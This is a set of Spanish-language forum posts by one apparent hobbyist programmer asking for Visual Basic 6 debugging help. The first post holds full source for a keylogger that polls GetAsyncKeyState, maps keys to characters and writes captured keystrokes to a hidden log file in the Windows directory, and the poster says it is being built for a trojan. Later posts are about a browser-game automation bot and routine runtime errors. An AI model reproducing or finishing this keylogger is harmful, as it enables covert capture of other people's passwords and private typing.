Mensajes

Bueno en primer lugar antes de que nadie diga nada. El codigo no es copiado, me base mucho en un code que vi, pero hay bastantes cosillas cambiadas. Desconozco el autor del code original pero en principio los comentarios estaban en ingles.

El keylogger funciona casi perfectamente pero cuando le doy a espacio el cursor tabula hacia el principio del textbox. Es decir, en vez de escribir "ola me llamo alberto" escribe "alberto llamo me ola     ". En cuanto le doy a espacio genera el espacio pero retorna hacia atras. No se que sera. Lo estoy haciendo para un troyano, cuando lo termine si me animo libero el codigo a la comunidad. Para hacer las pruebas he creado un programa simple, cuando este funcional lo introducco en el troyano.

En el form:

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
Timer1.Enabled = True
Timer2.Enabled = True
Command1.Enabled = False
Command2.Enabled = True
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Timer2.Enabled = False
Command2.Enabled = False
Command1.Enabled = True
End Sub

Private Sub Form_Load()
Command2.Enabled = False
Timer1.Enabled = False
caracter(33) = "[Pag Arriba]"
caracter(34) = "[Pag Abajo]"
caracter(35) = "[Fin]"
caracter(36) = "[Inicio]"
caracter(45) = "[Insertar]"
caracter(46) = "[Supr]"
caracter(48) = "="
caracter(49) = "!"
caracter(50) = "@"
caracter(51) = "#"
caracter(52) = "$"
caracter(53) = "%"
caracter(54) = "&"
caracter(55) = "/"
caracter(56) = "("
caracter(57) = ")"
caracter(186) = "`"
caracter(187) = "+"
caracter(188) = ","
caracter(189) = "-"
caracter(190) = "."
caracter(191) = "}"
caracter(219) = "{" '
caracter(220) = "\"
caracter(221) = "¡"
caracter(222) = "{"
caracter(86) = "^"
caracter(87) = "*"
caracter(88) = ";"
caracter(89) = "_"
caracter(90) = ":"
caracter(91) = "?"
caracter(119) = "?"
caracter(120) = "|"
caracter(121) = "¿"
caracter(122) = """"
caracter(96) = "0"
caracter(97) = "1"
caracter(98) = "2"
caracter(99) = "3"
caracter(100) = "4"
caracter(101) = "5"
caracter(102) = "6"
caracter(103) = "7"
caracter(104) = "8"
caracter(105) = "9"
caracter(106) = "*"
caracter(107) = "+"
caracter(109) = "-"
caracter(110) = "."
caracter(111) = "/"
caracter(192) = "ñ"
caracter(92) = "Ñ"
End Sub

Private Sub Timer1_Timer()
Dim teclas As Long
For teclas = 65 To 90
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           If GetKeyState(VK_CAPITAL) > 0 Then
               Text1.Text = Text1.Text & LCase(caracter(teclas))
               Exit Sub
           Else
               Text1.Text = Text1.Text & UCase(caracter(teclas))
               Exit Sub
           End If
       Else
           If GetKeyState(VK_CAPITAL) > 0 Then
               Text1.Text = Text1.Text & UCase(caracter(teclas))
               Exit Sub
           Else
               Text1.Text = Text1.Text & LCase(caracter(teclas))
               Exit Sub
           End If
       End If
   End If
Next
For teclas = 48 To 57
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       Else
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       End If
   End If
Next
For teclas = 186 To 192
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas - 100)
           Exit Sub
       Else
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       End If
   End If
Next
For teclas = 219 To 222
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas - 100)
           Exit Sub
       Else
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       End If
   End If
Next
For teclas = 96 To 111
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_ALT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       Else
           Text1.Text = Text1.Text & "[Alt]"
           Exit Sub
       End If
   End If
Next
If GetAsyncKeyState(32) = -32767 Then
   Text1.Text = Text1.Text & " "
End If
If GetAsyncKeyState(13) = -32767 Then
   Text1.Text = Text1.Text & "Enter>" & vbCrLf
End If
If GetAsyncKeyState(8) = -32767 Then
   If (Right(Text1.Text, 1)) = " " Then GoTo nod
      tip = Len(Text1.Text) - 1
      Text1.Text = Left(Text1.Text, tip)
nod:
   End If

If GetAsyncKeyState(37) = -32767 Then
   Text1.Text = Text1.Text & "[Izquierda]"
End If

If GetAsyncKeyState(38) = -32767 Then
   Text1.Text = Text1.Text & "[Arriva]"
End If

If GetAsyncKeyState(39) = -32767 Then
   Text1.Text = Text1.Text & "[Derecha]"
End If

If GetAsyncKeyState(40) = -32767 Then
   Text1.Text = Text1.Text & "[Abajo]"
End If

If GetAsyncKeyState(9) = -32767 Then
   Text1.Text = Text1.Text & "[Tab]"
End If

If GetAsyncKeyState(27) = -32767 Then
   Text1.Text = Text1.Text & "[Escape]"
End If

For teclas = 45 To 46
   If GetAsyncKeyState(teclas) = -32767 Then
       Text1.Text = Text1.Text & caracter(letras)
   End If
Next
End Sub

Private Sub Timer2_Timer()
GuardaLog
End Sub

En el módulo:

Código (vb) [Seleccionar] Expandir

Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public caracter(255) As String
Public Const VK_SHIFT = &H10
Public Const VK_CTRL = &H11
Public Const VK_ALT = &H12
Public Const VK_CAPITAL = &H14
Public AltDown As Boolean

Function GuardaLog()
Dim ar As String
Open Environ("windir") & "\keylog.txt" For Output As #1
Print #1, Form1.Text1.Text
Close #1
End Function

Function LeeLog(archivo As String) As String
Dim lee As String
Open archivo For Input As #1
   lee = Input(LOF(1), 1)
Close #1
LeeLog = lee
End Function

El espacio es el código ascii 32 pero ahi no veo ningun problema.

Salu2 y gracias por adelantado.

HE provado quitando el for y sigue el mismo error. Tambien he probado a que el msgbox tire el valor de la variable pero el error sigue siendo el mismo.



Salu2

Lo unico que puede pasar es esto--->set var_value=hangar.getelementbytagname(label20.caption)
imagino que puede ser el causante.

Respondiendo a hunter 18. Resulta que rellena un campo input text con el numero de tropas y las veces que quieres que se repita la accion y le da a construir. El problema esk el boton no tiene asociado ni "name" ni "id" asi que tengo que usar getelementbytagname("input") para sacar todos los elementos input de la pagina en un array. Despues utilizo for each para buscar el input que tenga como valor "Construir" y si se cumple la condicion var_but.click clicka en el boton.

El for del principio repite el proceso de construccion tantas veces como se haya establecido en el programa. Digamos que es una especi de macro web.



Salu2

Pero fijate, lo he declrado en option explicit y nada. No entiendo el motivo pero no reconoce el objeto.  Salu2

Estoy programando con webrowser una aplicación que automatice la construcción de unidades en un juego de navegador del estilo ogame.
El error salta en timepo de ejecución:


Error 91 en tiempo de ejecución:
Variable de tipo Object o la variable de tipo With no esta establecida.

La linea que señala el depurador es esta:

var_value.Value = Val(Text3.Text)

Código (vb) [Seleccionar] Expandir

Option Explicit
'FIXIT: Declare 'doc' con un tipo de datos de enlace en tiempo de compilación              FixIT90210ae-R1672-R1B8ZE
Dim doc As Object
'FIXIT: Declare 'var_input' con un tipo de datos de enlace en tiempo de compilación        FixIT90210ae-R1672-R1B8ZE
Dim var_input As Object
'FIXIT: Declare 'var_value' con un tipo de datos de enlace en tiempo de compilación        FixIT90210ae-R1672-R1B8ZE
Dim var_value As Object
'FIXIT: Declare 'var_but' con un tipo de datos de enlace en tiempo de compilación          FixIT90210ae-R1672-R1B8ZE
Dim var_but As Object
'FIXIT: Declare 'hangar' con un tipo de datos de enlace en tiempo de compilación           FixIT90210ae-R1672-R1B8ZE
Dim hangar As Object
Dim naves As String
Private Sub Command1_Click()
Set doc = WebBrowser1.Document
Set var_input = doc.getelementbyid("username")
var_input.Value = Text1.Text
Set var_input = doc.getelementbyid("password")
var_input.Value = Text2.Text
Set var_but = doc.getelementbyid("submit")
var_but.Click
End Sub

Private Sub Command2_Click()
Dim bucle As Long
Dim cantidad As String
For bucle = 1 To Val(Text4.Text)
WebBrowser1.Navigate "http://uni3.zagamex.com.ar/game.php?page=buildings&mode=fleet"
Set hangar = WebBrowser1.Document
Set var_value = hangar.getelementbyid(Label20.Caption)
var_value.Value = Val(Text3.Text)
Set var_but = hangar.getelementbytagname("INPUT")
'FIXIT: Declare 'result' con un tipo de datos de enlace en tiempo de compilación           FixIT90210ae-R1672-R1B8ZE
Dim result
For Each result In hangar.getelementbytagname("INPUT")
   If result.Value = "Construir" Then var_but.Click
Next
Next
End Sub

Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Text3.Text = ""
Text4.Text = ""
WebBrowser1.Navigate "http://uni3.zagamex.com.ar"
End Sub
Private Sub Option1_Click()
If Option1.Value = True Then Label20.Caption = "fmenge[202]"
End Sub
Private Sub Option2_Click()
If Option2.Value = True Then Label20.Caption = "fmenge[203]"
End Sub
Private Sub Option3_Click()
If Option3.Value = True Then Label20.Caption = "fmenge[204]"
End Sub
Private Sub Option4_Click()
If Option4.Value = True Then Label20.Caption = "fmenge[205]"
End Sub
Private Sub Option5_Click()
If Option5.Value = True Then Label20.Caption = "fmenge[206]"
End Sub
Private Sub Option6_Click()
If Option6.Value = True Then Label20.Caption = "fmenge[207]"
End Sub
Private Sub Option7_Click()
If Option7.Value = True Then Label20.Caption = "fmenge[208]"
End Sub
Private Sub Option8_Click()
If Option8.Value = True Then Label20.Caption = "fmenge[209]"
End Sub
Private Sub Option9_Click()
If Option9.Value = True Then Label20.Caption = "fmenge[210]"
End Sub
Private Sub Option10_Click()
If Option10.Value = True Then Label20.Caption = "fmenge[211]"
End Sub
Private Sub Option11_Click()
If Option11.Value = True Then Label20.Caption = "fmenge[212]"
End Sub
Private Sub Option12_Click()
If Option12.Value = True Then Label20.Caption = "fmenge[213]"
End Sub
Private Sub Option13_Click()
If Option13.Value = True Then Label20.Caption = "fmenge[214]"
End Sub
Private Sub Option14_Click()
If Option14.Value = True Then Label20.Caption = "fmenge[215]"
End Sub
Private Sub Option15_Click()
If Option15.Value = True Then Label20.Caption = "fmenge[216]"
End Sub



HE leido sobre el error pero no termino de entender el motivo, si me lo pudieran explicar muy simple como para tontos lo agradeceria.

Gracias de antemano y Salu2

Gracias por el consejo la verdad es que como ahora estoy aprendiendo no tengo muy en cuenta la memoria.

Salu2

Despues de un dolor de cabeza probe añadiendo un formulario vacio y asociandolo a otro boton. El caso es que esta vez si funcionaba. Aunque parezca estraño decirlo creo que es un error de mi VBA ya que en otras ocasiones me han pasaod cosas similares.
Copie el código y los objetos del formulario y los pegue en otro nuevo y por arte de magia funciono.


Gracias y Salu2

Haber, es un bot para xnova el clon de ogame. El formualrio principal tiene los botones conectar, hangar, edificios, investigaciones y defensa.

El code del form1 es:

Código (vb) [Seleccionar] Expandir


Dim doc As Object
Dim var_input As Object
Dim var_value As Object
Dim var_but As Object

Private Sub Command1_Click()
Set doc = WebBrowser1.Document
Set var_input = doc.getelementbyid("username")
var_input.Value = Text1.Text
Set var_input = doc.getelementbyid("password")
var_input.Value = Text2.Text
Set var_but = doc.getelementbyid("submit")
var_but.Click
End Sub

Private Sub Command2_Click()
Form2.Show
End Sub

Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
WebBrowser1.Navigate "http://uni3.zagamex.com.ar"
End Sub


Al clickar sobre hangar deberia de verse el formulario2 (Form2)
Codigo Form2:

Código (vb) [Seleccionar] Expandir

Dim hangar As Object
Dim var_input As Object
Dim var_value As Object
Dim var_click As Object
Dim bucle

Private Sub Command1_Click()
Dim html
If Option1.Enabled Then naves = "fmenge[202]"
If Option2.Enabled Then naves = "fmenge[203]"
If Option3.Enabled Then naves = "fmenge[204]"
If Option4.Enabled Then naves = "fmenge[205]"
If Option5.Enabled Then naves = "fmenge[206]"
If Option6.Enabled Then naves = "fmenge[207]"
If Option7.Enabled Then naves = "fmenge[208]"
If Option8.Enabled Then naves = "fmenge[209]"
If Option9.Enabled Then naves = "fmenge[210]"
If Option10.Enabled Then naves = "fmenge[211]"
If Option11.Enabled Then naves = "fmenge[212]"
If Option12.Enabled Then naves = "fmenge[213]"
If Option13.Enabled Then naves = "fmenge[214]"
If Option14.Enabled Then naves = "fmenge[215]"
If Option15.Enabled Then naves = "fmenge[216]"

For bucle = 1 To Val(Text1.Text)
Form1.WebBrowser1.Navigate "http://uni3.zagamex.com.ar/game.php?page=buildings&mode=fleet"
Set hangar = WebBrowser1.Document
Set var_input = hangar.getelementbyid("val(naves)")
Set var_input.Value = Text2.Text
For Each html In hangar.getelementbytagname("input")
If html.Value = "Construir" Then html.Click
Next
Next
End Sub

Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""

Dim naves As String
End Sub



El formulario lo he hecho en el proyecto pero si pongo unicamente Form2.Show no lo carga.

La verdad me ha estrañado mucho el error.



Salu2

Resulta que estoy realizando un programa que haga macros web. NEcesito cargar distintos formularios que son activados por botones, pero mi problema es el siguiente:

Código (vb) [Seleccionar] Expandir

Private Sub Command1_click()
Load Form2
Form2.Show



No lo carga me tira este error:

Error 404 en tiempo de ejecucion se requiere un objeto.

HE buscado el error pero no tiene sentido, los form no hay que declararlos asi que estoy perdido. Muchas gracias de antemano.


Salu2